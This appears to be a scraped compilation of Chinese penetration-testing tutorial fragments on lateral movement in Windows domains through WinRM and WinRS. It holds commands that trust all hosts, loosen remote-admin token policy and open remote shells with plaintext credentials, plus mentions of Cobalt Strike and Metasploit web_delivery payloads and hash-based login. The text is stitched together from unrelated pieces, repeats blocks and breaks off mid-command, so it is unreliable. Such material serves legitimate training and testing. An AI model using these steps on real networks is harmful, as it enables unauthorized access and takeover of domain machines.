章内容 IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Kerberos_TGS,GPO&DACL 域横向移动-WinRM&WinRS-明文&NTLM 利用WinRM服务,采用WinRS连接 WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。 5985 powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} 2.连接执行: winrs @#45 whoami winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami 3.上线CS&MSF: winrs
winrm/config/client @{AllowUnencrypted = "true Set-Item WSMan:localhost\client\trustedhosts -value * WinRs WinRS 是一个命令行工具,它是Windows 2008及更高版本的一部分。 winrs -r:http://10.10.10.12:5985 -u:administrator -p:xxxxx "cmd" 图片 也可对其远程执行命令而非一个cmd会话,以便对目标远程探测 winrs use multi/script/web_delivery 图片 利用winrs远程执行: 图片 元破解 MSF 有几个模块,可用于发现开启了WinRM服务的主机、发现凭证以进行服务身份验证以及执行任意命令和代码 @{Port="80"} winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} (2)链接目标 winrs
更多功能可以查看微软文档 beacon> shell winrs /? [*] Tasked beacon to run: winrs /? WinRS 配置的 URI 别名为 winrm/config/winrs。键入 "WinRM -?" 可以在 WinRM 工具中找到示例用法。 示例: winrs -r:https://myserver.com command winrs -r:myserver.com -usessl command winrs -r:myserver command winrs -r:http://127.0.0.1 command winrs -r:http://169.51.2.101:80 -unencrypted command winrs -r:https winrs来进行横向移动。
使用winrs.exe来执行远程命令利用 Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户。命令支持各种开关以及使用备用凭据进行身份验证的能力。 第二次 Ctrl-C 将强制终止 winrs.exe。 若要管理活动的远程外壳程序或 WinRS 配置,请使用 WinRM 工具。管理活动的外壳程序的 URI 别名为 shell/cmd。 WinRS 配置的 URI 别名为 winrm/config/winrs。键入 "WinRM -?" 可以在 WinRM 工具中找到示例用法。 示例: winrs -r:https://myserver.com command winrs -r:myserver.com -usessl command winrs -r:myserver command winrs -r:http://127.0.0.1 command winrs -r:http://169.51.2.101:80 -unencrypted command winrs -r:https
利用 WinRM 服务远程执行命令 使用 winrs 命令 WinRS 是 Windows 的远程 Shell,它相当于 WinRM 的客户端,使用它可以访问运行有 WinRM 的服务器,不过自己也得装上 WinRM 才能运行 WinRS。 password] <command> 执行后得到以下报错: image-20210804172346402 Winrs error:WinRM 客户端无法处理该请求。 利用 WinRM 获取交互式会话 使用 winrs 命令 在 WinRM 客户端主机上执行以下命令启动远程主机的 CMD 即可: winrs -r:http://192.168.93.30:5985 - 注意,如果当前网络环境是工作组环境运行,或客户端未加入域,直接使用 Enter-PSSession 可能会报错以下错误: Winrs error:WinRM 客户端无法处理该请求。
quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} netstat -ano|find "5985" //客户端连接方式: winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all" winrs -r:http://192.168.1.152:5985 - Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f winrs
WinRM是远程管理应用的“服务器”组成部分,并且WinRS(Windows远程Shell)是WinRM的“客户端”,它在远程管理WinRM服务器的计算机上运行。 然而,我们应该注意到两个计算机必须手动安装WinRS,还要使WinRM能够启动并从远程系统传回信息。
cmd.exe /c winrm set "winrm/config" '@{MaxTimeoutms="1800000"}' cmd.exe /c winrm set "winrm/config/winrs Confirm:$false -EA 0 2>&1 >$null restart-service winrm 2>&1 > $null netstat -ato|findstr ":5985 :5986" winrs cmd.exe /c winrm set "winrm/config" '@{MaxTimeoutms="1800000"}' cmd.exe /c winrm set "winrm/config/winrs Confirm:$false -EA 0 2>&1 >$null restart-service winrm 2>&1 > $null netstat -ato|findstr ":5985 :5986" winrs
i]+"`n" Invoke-Command -ComputerName $iparray[$i] -Credential $Cred -ScriptBlock { hostname } } 4、winrs 8B05-72C78179F555.html https://variacom.com/index.php/solutions/98-enable-winrm-through-group-policy winrs -r:http://ip:port -u:username-p:password command 例如 winrs -r:http://192.168.211.135:5985 -u:Administrator
WinRS WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,可以与目标主机形成交互式会话。 切换到跳板机,在没有加入域控的情况下,使用WinRS命令需先将靶标机器的IP加入客户端信任列表,在cmd和powershell下都可以使用命令将靶标机器的IP加入客户端信任列表中,如图1-2所示。 winrm set winrm/config/Client@{TrustedHosts="192.168.1.3"} 使用命令winrs -r:http://192.168.1.3:5985 -u:administrator
# 启动winrm winrm quickconfig ‐q # 设置信任主机地址 winrm set winrm/config/Client @{TrustedHosts="*"} (5) 连接使用winrs 命令接口连接远程winrm服务执行命令,并返回结果 winrs,Windows Remote Shell,windows远程shell,是winrm的一个组件。 winrs ‐r:http://www.aabbcc.com ‐u:administrator ‐p:Password [命令] 4.实验 Target:Windows Server 2008 R2 x64 使用winrs远程执行命令: ? 执行cmd命令可获取交互式shell: ? 此时IIS的正常服务并未受到影响: ? 6.Hash登录(未亲测) 系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。
winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} 连接使用 使用winrs命令即可连接远程WinRM 服务执行命令,并返回结果 winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami 上述命令会在远程机器上执行whoami 将whoami命令换成cmd即可获取一个交互式的shell winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd ? Hash登录 系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。
Winrs\MaxShellRunTime:这是允许远程命令执行的最长时间(以毫秒为单位)。 Winrs\MaxMemoryPerShellMB:这是每个外壳程序(包括外壳程序的子进程)分配的最大内存量。 在PowerShell中的键下修改设置,请执行以下操作: # Substitute {path} with the path to the option after winrm/config/Winrs -u:Username -p:Password ipconfig # Test out HTTPS (will fail if the cert is not verifiable) winrs 要检查的一些事情包括: 验证当前打开的外壳数没有超过一个,也没有超过 WinRsMaxShellsPerUser任何其他Winrs配额。
cmd.exe /c winrm set "winrm/config" '@{MaxTimeoutms="1800000"}' cmd.exe /c winrm set "winrm/config/winrs Confirm:$false -EA 0 2>&1 >$null restart-service winrm 2>&1 > $null netstat -ato|findstr ":5985 :5986" winrs
winrm quickconfig -q winrm set winrm/config/Client @{TrustedHosts="*"} 通过WinRM连接,并执行whoami命令 winrs - r:http://192.168.10.20 -u:administrator -p:root whoami 通过WinRM连接,并获得交互式的shell winrs -r:http://192.168.10.20
方法一:使用winrs连接 在cmd窗口执行以下命令 winrs -r:http://192.168.10.20:5985 -u:administrator -p:root cmd 方法二:使用Enter-PSSession
cmd.exe /c winrm set "winrm/config" '@{MaxTimeoutms="1800000"}' cmd.exe /c winrm set "winrm/config/winrs Confirm:$false -EA 0 2>&1 >$null restart-service winrm 2>&1 > $null netstat -ato|findstr ":5985 :5986" winrs cmd.exe /c winrm set "winrm/config" '@{MaxTimeoutms="1800000"}' cmd.exe /c winrm set "winrm/config/winrs Confirm:$false -EA 0 2>&1 >$null restart-service winrm 2>&1 > $null netstat -ato|findstr ":5985 :5986" winrs
对应注册表选项不过多介绍 重要的组件 非完整列表,具体请参考About Windows Remote Management WinRM.cmd Winrs.exe winrm.vbs ? ? ? winrm.vbs #和上面一样的使用方法,这种cmd下适用 cscript C:\Windows\System32\winrm.vbs #如果系统在C盘是这样 #验证通过可远程修改winRM配置 winrs
章内容 IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,Kerberos_TGS,GPO&DACL
章节点 IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH,Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS